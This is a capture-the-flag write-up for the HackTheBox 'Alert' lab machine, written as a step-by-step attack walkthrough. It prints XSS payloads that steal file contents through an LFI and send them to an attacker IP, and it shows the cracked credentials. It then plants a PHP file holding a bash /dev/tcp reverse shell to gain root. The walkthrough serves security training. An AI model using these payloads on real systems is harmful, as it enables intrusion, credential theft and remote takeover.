HackTheBox Alert
Writeup for HackTheBox Alert
Machine Synopsis
Alert is an easy-difficulty Linux machine with a website to upload, view, and share markdown files. The site is vulnerable to cross-site scripting (XSS), which is exploited to access an internal page vulnerable to Arbitrary File Read and leveraged to gain access to a password hash. The hash is then cracked to reveal the credentials leveraged to gain SSH
access to the target. Enumeration of processes running on the system shows a PHP
file that is being executed regularly, which has excessive privileges for the management group our user is a member of and allows us to overwrite the file for code execution as root. (Source)
Key exploitation techniques:
- Cross-Site Scripting (XSS) in Markdown rendering and contact form
- XSS chain for data exfiltration
- Local File Inclusion (LFI) via an internal endpoint
- Apache
$apr1$
MD5 hash cracking - SSH access via credential reuse
- Privilege escalation via writable web server content in a root-owned process
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.44
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
The hostname alert.htb
for 10.10.11.44
was added to /etc/hosts
.
1
echo -e '10.10.11.44\t\talert.htb' | sudo tee -a /etc/hosts
The alert.htb
website allowed users to upload and view Markdown (.md
) files. Testing confirmed XSS vulnerability in the Markdown file upload functionality.
1
2
3
❯ cat test.md
# Heading1
<script>alert(1)</script>
When this Markdown was uploaded, the <script>
tag was directly embedded and executed, triggering an alert box. Further testing revealed that the contact.php
page was also vulnerable to XSS.
The “About Us” page provided a critical hint which indicated that an administrator would interact with submitted content, making XSS a viable attack vector.
Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.
Directory & Subdomain Enumeration
dirsearch
was used to find hidden directories and files.
1
2
3
4
5
6
❯ dirsearch -t 10 -e php -u 'http://alert.htb/'
...
301 - 309B - /messages -> http://alert.htb/messages/
301 - 308B - /uploads -> http://alert.htb/uploads/
403 - 274B - /uploads/
...
Accessing http://alert.htb/messages/
and http://alert.htb/uploads/
resulted in 403 Forbidden
.
A 403
bypass script (bypass-403.sh
) was used to confirm accessibility.
1
2
3
4
5
6
❯ ./bypass-403.sh http://alert.htb messages | grep 200
200,966 --> http://alert.htb -H X-rewrite-url: messages
200,1 --> http://alert.htb/messages.php # Confirmed accessible!
❯ ./bypass-403.sh http://alert.htb uploads | grep 200
200,966 --> http://alert.htb -H X-rewrite-url: uploads
This confirmed that http://alert.htb/messages.php
was accessible, despite its small size.
Subdomain enumeration with ffuf
identified statistics.alert.htb
.
1
2
3
❯ ffuf -c -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 3ms]
statistics.alert.htb
presented a Basic Authentication prompt (Status 401
). This was noted for later. statistics.alert.htb
was added to /etc/hosts
.
Exploitation: XSS Chain to LFI
The strategy was to combine the XSS vulnerabilities and the administrator’s review process with the accessible messages.php
endpoint to achieve LFI and exfiltrate sensitive files.
Step 1: Malicious Markdown Payload for Data Exfiltration
A test.md
file was created containing a JavaScript payload. This script would fetch the content of http://alert.htb/messages.php
and then exfiltrate the response to the attacker’s web server.
1
2
3
4
5
6
7
8
9
❯ cat test.md
<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
This test.md
was uploaded to alert.htb
, and its shareable link (e.g., http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md
) was obtained.
Step 2: Injecting Malicious Markdown via contact.php
XSS
A script
tag referencing the uploaded malicious Markdown file was injected into the contact.php
form. When the administrator viewed the contact message, the script would execute.
1
<script src="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md"></script>
Step 3: Receiving Exfiltrated Data
A Python HTTP server was started on the attacker machine to receive the exfiltrated data.
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
The URL-encoded string was decoded (e.g., with CyberChef), revealing: <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
This confirmed messages.php
was vulnerable to LFI via the file
parameter.
Step 4: LFI to /etc/passwd
The Markdown payload was revised to exploit the LFI in messages.php
to read /etc/passwd
.
1
2
3
4
5
6
7
8
9
❯ cat test.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
The Markdown was re-uploaded and the XSS reinjected into contact.php
.
1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
The decoded shiro
parameter on the attacker’s server contained the contents of /etc/passwd
.
1
2
3
4
# Excerpt from decoded /etc/passwd
root:x:0:0:root:/root:/bin/bash
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash
The users albert
and david
were identified.
LFI to statistics.alert.htb
Credentials
The /etc/passwd
output indicated standard Linux users. The earlier 401 Basic Auth
response for statistics.alert.htb
suggested an Apache .htpasswd
file. Research indicated a common location for such files in Apache configurations.
The 000-default.conf
Apache configuration file was targeted via LFI to find the .htpasswd
path.
1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
Repeat the exploit steps above to get the call back.
1
10.10.11.44 - "GET /?shiro=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
The decoded content of 000-default.conf
revealed the path to the .htpasswd
file for statistics.alert.htb
.
1
2
3
4
5
6
7
# Excerpt from decoded 000-default.conf
<VirtualHost *:80>
ServerName statistics.alert.htb
# ...
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</VirtualHost>
The path /var/www/statistics.alert.htb/.htpasswd
was identified.
The Markdown payload was revised again to fetch the .htpasswd
file.
1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>
Repeat the exploit steps above to get the call back.
1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
The decoded shiro
parameter on the attacker’s server contained the hash: albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
.
Hash Cracking & SSH Access
The hash was saved to albert_hash.txt
. hashcat --identify
confirmed it as Apache $apr1$
MD5 (mode 1600
).
1
2
3
4
❯ echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > albert_hash.txt
❯ hashcat --identify albert_hash.txt
# ...
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)
The hash was cracked using hashcat
with rockyou.txt
.
1
2
❯ hashcat -m 1600 -a 0 albert_hash.txt /usr/share/wordlists/rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
The password for albert
was manchesterunited
.
SSH access was gained using these credentials.
1
2
3
4
❯ ssh albert@alert.htb
albert@alert.htb's password: manchesterunited
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
albert@alert:~$
Privilege Escalation: Writable Config & Root-Owned Web Server
Privilege escalation was pursued by enumerating albert
’s permissions and running processes.
1
2
albert@alert:~$ sudo -l
Sorry, user albert may not run sudo on alert.
The id
command confirmed albert
was a member of the management
group.
1
2
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
linpeas.sh
and ps aux
were used to identify interesting processes and file permissions. Key findings included:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
albert@alert:~$ ./linpeas.sh
...
╔══════════╣ Running processes (cleaned)
...
root 1017 0.0 0.0 2636 728 ? S 06:12 0:00 | _ inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
...
/opt/website-monitor/monitors/alert.htb
/opt/website-monitor/monitors/statistics.alert.htb
...
alerbt@alert:~$ ps aux
...
root 1006 0.0 0.6 206768 24300 ? Ss 06:12 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
...
We could observe that there is a root
-owned inotifywait
process monitoring /opt/website-monitor/config
for modifications. This indicated that changes to this directory would likely trigger an action.
We could also observe that a root
-owned PHP web server process was serving /opt/website-monitor
on a local port.
1
2
3
4
albert@alert:/opt/website-monitor$ ls -la
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config # Writable by 'management' group
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
The config
directory within /opt/website-monitor
was writable by the management
group, which albert
belonged to.
The README.md
file in /opt/website-monitor
suggested a cron job running monitor.php
periodically.
1
2
3
4
5
6
7
albert@alert:/opt/website-monitor$ cat README.md
...
To automate your monitoring, you can add something like this to your crontab:
```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
...
The local web server (127.0.0.1:8080
) was accessed via SSH local port forwarding.
1
2
3
4
5
6
7
8
❯ ssh -f -N -L 48080:127.0.0.1:8080 albert@alert.htb
# Access local web server via http://127.0.0.1:48080 on attacker machine
❯ curl http://127.0.0.1:48080
<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
# ... (HTML content)
This confirmed the “Website Monitor” application was running locally, served by the root-owned PHP process.
The configuration.php
file within the config
directory was inspected.
1
2
3
4
albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>
Exploiting Writable Configuration
The config
directory (writable by albert
) was served by a root
-owned PHP web server. This allowed for arbitrary code execution by placing a malicious PHP file within this directory and directly accessing it through the forwarded port.
A PHP reverse shell payload was crafted and placed in a new file, exploit.php
, within /opt/website-monitor/config/
.
1
2
3
albert@alert:/opt/website-monitor/config$ vi exploit.php
# Contents of exploit.php:
# <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.3/443 0>&1'"); ?>
A netcat
listener was set up on the attacker machine.
1
2
❯ nc -nlvp 443
listening on [any] 443 ...
The malicious PHP file was then triggered by accessing it via the local forwarded port.
1
albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:48080/config/exploit.php
The curl
request caused the root-owned PHP web server to execute exploit.php
, establishing a reverse shell.
1
2
3
4
5
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.44] 44626
whoami
root
cat /root/root.txt
e2ceed42be65d5f3f88b6b090dd051a2
A root shell was obtained, and the root.txt
flag was retrieved.
OPSEC for Root Shell:
After gaining a root shell, the uploaded
exploit.php
file should be removed from the system. The SSH port forward should also be terminated.
1 2 3 4 5 # On target machine as root root@alert:/# rm /opt/website-monitor/config/exploit.php # On attacker machine ❯ killall ssh # Terminates the SSH port forward